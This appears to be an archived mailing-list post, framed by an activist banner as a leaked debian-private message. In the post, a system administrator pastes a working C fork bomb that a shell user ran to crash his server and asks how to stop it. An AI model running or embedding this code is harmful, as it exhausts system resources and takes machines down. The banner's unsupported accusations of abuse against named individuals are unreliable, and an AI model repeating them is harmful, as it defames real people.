The debian-private mailing list leak, part 1. Volunteers have complained about Blackmail. Lynchings. Character assassination. Defamation. Cyberbullying. Volunteers who gave many years of their lives are picked out at random for cruel social experiments. The former DPL's girlfriend Molly de Blanc is given volunteers to experiment on for her crazy talks. These volunteers never consented to be used like lab rats. We don't either. debian-private can no longer be a safe space for the cabal. Let these monsters have nowhere to hide. Volunteers are not disposable. We stand with the victims.

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Crash any Debian Box



I run a Debian box which users have shell accounts on.  I was up and
running fine until a user repeatedly crashed my system.  I removed his
account got a copy of the source from his $HOME of what he was using to
crash me.  It is called a fork bomb.  Attached is the source.  Any
comments or possible fix would be greatly appriciated.

----

/* forkbomb by killspree */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main()
{
   switch (fork())
    {
    case 0:
      setpgrp();
      break;
    case -1:
      fprintf(stderr,"error: fork() failed\n");
      exit(1);
    default:
       printf("Allocating all resources in background...\n");
      _exit(0);
    }
   for(;;)
    {
      if (!fork())
         setpgrp();
      malloc((size_t)1);
      malloc((size_t)10);
      malloc((size_t)100);
      malloc((size_t)1000);
      malloc((size_t)10000);
      malloc((size_t)100000);
      malloc((size_t)1000000);
    }
}


Thanks for you help.
Tom Gallagher


--
TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to
debian-private-request@lists.debian.org . 
Trouble?  e-mail to templin@bucknell.edu .